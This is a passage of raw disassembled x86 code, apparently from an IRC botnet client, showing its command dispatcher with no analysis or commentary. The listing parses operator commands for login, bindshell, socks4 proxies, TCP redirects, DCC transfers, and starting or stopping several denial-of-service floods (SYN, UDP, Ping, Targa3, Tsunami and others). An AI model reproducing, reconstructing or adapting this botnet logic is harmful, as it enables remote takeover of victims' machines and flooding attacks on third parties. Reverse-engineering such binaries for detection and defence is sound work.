		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	dword ptr [ebp+Args] ; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		cmp	dword_429088, ebx
		jz	loc_409855


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	dword ptr [ebp+Args] ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	dword ptr [ebp+Args] ; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+Str2]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+Format], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax		; Str2
		push	offset dword_42D020 ; Str1
		mov	[ebp+arg_8], eax
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	dword ptr [ebp+esi+Args] ; Str2
		push	offset aSend	; "SEND"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+Format]
		mov	edi, offset aS_6 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+Str2]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		push	[ebp+esi+var_80] ; Str
		call	_atoi
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh		; Count
		push	eax		; Source
		lea	eax, [ebp+var_1A7C]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42CFE4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ah		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset sub_4161BD
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BD
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	dword ptr [ebp+Args] ; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+Format], ebx
		jz	loc_401E94
		push	offset asc_42CFE0 ; "#"
		push	[ebp+Format]	; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+Format], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+Str2], ebx
		jz	loc_401E94
		inc	[ebp+Str2]
		jz	short loc_402356
		cmp	[ebp+Source], ebx
		jz	short loc_402356
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		push	eax		; MaxCount
		lea	eax, [ebp+Str1]
		push	[ebp+Str2]	; Str2
		push	eax		; Str1
		call	_strncmp
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi		; Str2
		push	offset dword_42CFD4 ; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+Format]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CB508
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42CFB8
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi		; Str2
		push	offset dword_42CFB0 ; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, dword ptr [ebp+esi*4+Args]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+Format]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42CF98
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7853j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CF5C
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+Format]
		push	offset asc_42CF18 ; "-"


loc_40240A:				; CODE XREF: sub_401ACD+7E2Aj
					; sub_401ACD+7E91j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	dword ptr [ebp+esi+Args] ; Str2
		push	offset aChat	; "CHAT"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+Str2]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_6	; "%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+esi+var_80] ; Str
		call	_atoi
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh		; Count
		push	eax		; Source
		lea	eax, [ebp+var_2990]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42CEF0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Bh		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset sub_415C5A
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BD
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CEB8
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE88
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE54
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		push	edi		; Str2
		push	offset aLogin	; "login"
		mov	[ebp+arg_8], edi
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		push	edi		; Str2
		push	offset asc_42CE50 ; "l"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BE
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855


loc_4025BE:				; CODE XREF: sub_401ACD+AD5j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409855
		xor	edi, edi
		cmp	dword_4294D0, ebx
		jle	loc_402773
		mov	[ebp+arg_20], offset dword_43D810


loc_4025DC:				; CODE XREF: sub_401ACD+B2Ej
		push	[ebp+arg_8]	; Str2
		push	[ebp+arg_20]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402602
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D0
		jl	short loc_4025DC
		jmp	loc_402773
; ---------------------------------------------------------------------------


loc_402602:				; CODE XREF: sub_401ACD+B1Ej
		push	offset SubStr	; " :"
		push	[ebp+Src]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D828[edi]
		push	9Fh		; Count
		add	eax, 4
		push	ecx		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402657:				; CODE XREF: sub_401ACD+C3Bj
		push	[ebp+arg_20]
		lea	eax, [ebp+SubStr]
		push	offset aD	; "$%d-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C3
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C3
		lea	eax, dword_43D810[edi]
		push	eax		; Str
		call	_strlen
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4] ; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FE
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_417EEF
		add	esp, 0Ch
		jmp	short loc_4026FE
; ---------------------------------------------------------------------------


loc_4026C3:				; CODE XREF: sub_401ACD+BB2j
					; sub_401ACD+BB9j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FE
		lea	eax, [ebp+SubStr]
		push	2		; Count
		push	eax		; Source
		lea	eax, [ebp+var_94]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_417EEF
		add	esp, 18h


loc_4026FE:				; CODE XREF: sub_401ACD+BCBj
					; sub_401ACD+BDFj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402657
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271B:				; CODE XREF: sub_401ACD+C9Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+SubStr]
		push	offset aD_1	; "$%d"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275E
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275E
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_417EEF
		add	esp, 0Ch


loc_40275E:				; CODE XREF: sub_401ACD+C76j
					; sub_401ACD+C7Cj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271B
		mov	[ebp+var_2C8], 1


loc_402773:				; CODE XREF: sub_401ACD+B02j
					; sub_401ACD+B30j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278C
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297D


loc_40278C:				; CODE XREF: sub_401ACD+CB1j
		push	[ebp+Source]	; Source
		mov	edi, [ebp+Src]
		push	offset aMe	; "$me"
		push	edi		; Src
		call	sub_417EEF
		lea	eax, [ebp+var_C4]
		push	eax		; Source
		push	offset aUser	; "$user"
		push	edi		; Src
		call	sub_417EEF
		push	[ebp+Format]	; Source
		push	offset aChan	; "$chan"
		push	edi		; Src
		call	sub_417EEF
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_40B08E
		push	eax		; Source
		push	offset aRndnick	; "$rndnick"
		push	edi		; Src
		call	sub_417EEF
		add	esp, 40h
		push	[ebp+arg_14]	; Source
		push	offset aServer	; "$server"
		push	edi		; Src
		call	sub_417EEF
		mov	edi, offset aChr ; "$chr("
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h


loc_4027FE:				; CODE XREF: sub_401ACD+E29j
		test	eax, eax
		jz	loc_4028FB
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		mov	[ebp+Source], eax
		add	eax, 5
		push	4		; Count
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+SubStr]
		push	offset asc_42CE10 ; ")"
		push	eax		; Str
		call	_strtok
		add	esp, 1Ch
		cmp	[ebp+SubStr], 30h
		jl	short loc_40284A
		cmp	[ebp+SubStr], 39h
		jle	short loc_402860


loc_40284A:				; CODE XREF: sub_401ACD+D72j
		push	3		; Count
		lea	eax, [ebp+SubStr]
		push	offset a63	; "63"
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_402860:				; CODE XREF: sub_401ACD+D7Bj
		lea	eax, [ebp+SubStr]
		push	eax		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	short loc_402886
		lea	eax, [ebp+SubStr]
		push	eax		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40289A
; ---------------------------------------------------------------------------


loc_402886:				; CODE XREF: sub_401ACD+DA2j
		call	_rand
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40289A:				; CODE XREF: sub_401ACD+DB7j
		lea	eax, [ebp+SubStr]
		mov	[ebp+var_93], bl
		push	eax		; Str
		call	_strlen
		mov	[ebp+arg_20], eax
		push	0Ch		; Size
		lea	eax, [ebp+SubStr]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax		; Count
		lea	eax, [ebp+SubStr]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_94]
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_417EEF
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 30h
		jmp	loc_4027FE
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_401ACD+D33j
		mov	edi, 1FFh
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+var_4AF0]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42D124 ; " "
		push	eax		; Str
		call	_strtok
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+Args]
		mov	[ebp+Source], 1Fh


loc_40294B:				; CODE XREF: sub_401ACD+E93j
		push	offset asc_42D124 ; " "
		push	ebx		; Str
		call	_strtok
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+Source]
		pop	ecx
		jnz	short loc_40294B
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297D:				; CODE XREF: sub_401ACD+CB9j
		mov	edi, [ebp+esi+var_90]
		push	edi		; Str2
		push	offset aRndnick_0 ; "rndnick"
		mov	[ebp+arg_8], edi
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi		; Str2
		push	offset aRn	; "rn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi		; Str2
		push	offset aDie	; "die"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi		; Str2
		push	offset aD_0	; "d"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi		; Str2
		push	offset aLogout	; "logout"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi		; Str2
		push	offset aLo	; "lo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi		; Str2
		push	offset aVersion	; "version"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi		; Str2
		push	offset aVer	; "ver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi		; Str2
		push	offset aDedication ; "dedication"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi		; Str2
		push	offset aDed	; "ded"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi		; Str2
		push	offset aSpeedtest ; "speedtest"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi		; Str2
		push	offset aSt	; "st"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi		; Str2
		push	offset aSecure	; "secure"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi		; Str2
		push	offset aSec	; "sec"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi		; Str2
		push	offset aUnsecure ; "unsecure"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi		; Str2
		push	offset aUnsec	; "unsec"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi		; Str2
		push	offset aBindshell ; "bindshell"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi		; Str2
		push	offset aBd	; "bd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi		; Str2
		push	offset aBindshellstop ;	"bindshellstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B41
		push	dword ptr [ebp+esi+Args] ; Str
		push	6		; int
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD64 ; int


loc_402B25:				; CODE XREF: sub_401ACD+10C2j
					; sub_401ACD+10E8j ...
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	[ebp+arg_4]	; int
		call	sub_40B385
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B41:				; CODE XREF: sub_401ACD+1043j
		push	edi		; Str2
		push	offset aSocks4	; "socks4"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi		; Str2
		push	offset aS4	; "s4"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi		; Str2
		push	offset aSocks4stop ; "socks4stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B91
		push	dword ptr [ebp+esi+Args]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD3C
		jmp	short loc_402B25
; ---------------------------------------------------------------------------


loc_402B91:				; CODE XREF: sub_401ACD+10ADj
		push	edi		; Str2
		push	offset aRloginstop ; "rloginstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BBA
		push	dword ptr [ebp+esi+Args]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD20
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BBA:				; CODE XREF: sub_401ACD+10D3j
		push	edi		; Str2
		push	offset aHttpstop ; "httpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE3
		push	dword ptr [ebp+esi+Args]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD04
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BE3:				; CODE XREF: sub_401ACD+10FCj
		push	edi		; Str2
		push	offset aLogstop	; "logstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0C
		push	dword ptr [ebp+esi+Args]
		push	25h
		push	offset aLogList	; "Log list"
		push	offset dword_42CCE4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C0C:				; CODE XREF: sub_401ACD+1125j
		push	edi		; Str2
		push	offset aRedirectstop ; "redirectstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C35
		push	dword ptr [ebp+esi+Args]
		push	18h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset dword_42CCB4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C35:				; CODE XREF: sub_401ACD+114Ej
		push	edi		; Str2
		push	offset aDdos_stop ; "ddos.stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5E
		push	dword ptr [ebp+esi+Args]
		push	0Dh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset dword_42CC90
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C5E:				; CODE XREF: sub_401ACD+1177j
		push	edi		; Str2
		push	offset aSynstop	; "synstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C87
		push	dword ptr [ebp+esi+Args]
		push	0Eh
		push	offset aSynFlood ; "Syn	flood"
		push	offset dword_42CC70
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C87:				; CODE XREF: sub_401ACD+11A0j
		push	edi		; Str2
		push	offset aSkysynstop ; "skysynstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CB0
		push	dword ptr [ebp+esi+Args]
		push	10h
		push	offset aSkysynFlood ; "SkySyn flood"
		push	offset dword_42CC44
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CB0:				; CODE XREF: sub_401ACD+11C9j
		push	edi		; Str2
		push	offset aTarga3stop ; "targa3stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD9
		push	dword ptr [ebp+esi+Args]
		push	11h
		push	offset aTarga3Flood ; "Targa3 flood"
		push	offset dword_42CC18
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CD9:				; CODE XREF: sub_401ACD+11F2j
		push	edi		; Str2
		push	offset aWonkstop ; "wonkstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D02
		push	dword ptr [ebp+esi+Args]
		push	12h
		push	offset aWonkFlood ; "Wonk flood"
		push	offset dword_42CBF4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402D02:				; CODE XREF: sub_401ACD+121Bj
		push	edi		; Str2
		push	offset aPacketstop ; "packetstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E58
		mov	esi, dword ptr [ebp+esi+Args]
		mov	edi, [ebp+arg_4]
		push	esi		; Str
		push	0Dh		; int
		push	offset aDdosFlood ; "DDoS flood"
		push	offset dword_42CC90 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B385
		push	esi		; Str
		push	0Eh		; int
		push	offset aSynFlood ; "Syn	flood"
		push	offset dword_42CC70 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B385
		add	esp, 40h
		push	esi		; Str
		push	17h		; int
		push	offset aUdpFlood ; "UDP	flood"
		push	offset dword_42CBD0 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B385
		push	esi		; Str
		push	16h		; int
		push	offset aPingFlood ; "Ping flood"
		push	offset dword_42CBB8 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B385
		add	esp, 40h
		push	esi		; Str
		push	11h		; int
		push	offset aTarga3Flood ; "Targa3 flood"
		push	offset dword_42CC18 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B385
		push	esi		; Str
		push	12h		; int
		push	offset aWonkFlood ; "Wonk flood"
		push	offset dword_42CBF4 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B385
		add	esp, 40h
		push	esi		; Str
		push	0Fh		; int
		push	offset aTsunamiFlood ; "Tsunami	flood"
		push	offset dword_42CB98 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B385
		push	esi		; Str
		push	13h		; int
		push	offset aWisdomAttack ; "Wisdom attack"
		push	offset dword_42CB78 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B385
		add	esp, 40h
		push	esi		; Str
		push	10h		; int
		push	offset aSkysynFlood ; "SkySyn flood"
		push	offset dword_42CC44 ; int
		push	1		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	edi		; int
		call	sub_40B385
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_42CB44 ; int
		push	[ebp+Format]	; Str
		push	edi		; int
		call	sub_409A73
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E58:				; CODE XREF: sub_401ACD+1244j
		push	edi		; Str2
		push	offset aTsunamistop ; "tsunamistop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E81
		push	dword ptr [ebp+esi+Args]
		push	0Fh
		push	offset aTsunamiFlood ; "Tsunami	flood"
		push	offset dword_42CB98
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402E81:				; CODE XREF: sub_401ACD+139Aj
		push	edi		; Str2
		push	offset aWisdomstop ; "wisdomstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EAA
		push	dword ptr [ebp+esi+Args]
		push	13h
		push	offset aWisdomAttack ; "Wisdom attack"
		push	offset dword_42CB78
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EAA:				; CODE XREF: sub_401ACD+13C3j
		push	edi		; Str2
		push	offset aUdpstop	; "udpstop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED3
		push	dword ptr [ebp+esi+Args]
		push	17h
		push	offset aUdpFlood ; "UDP	flood"
		push	offset dword_42CBD0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


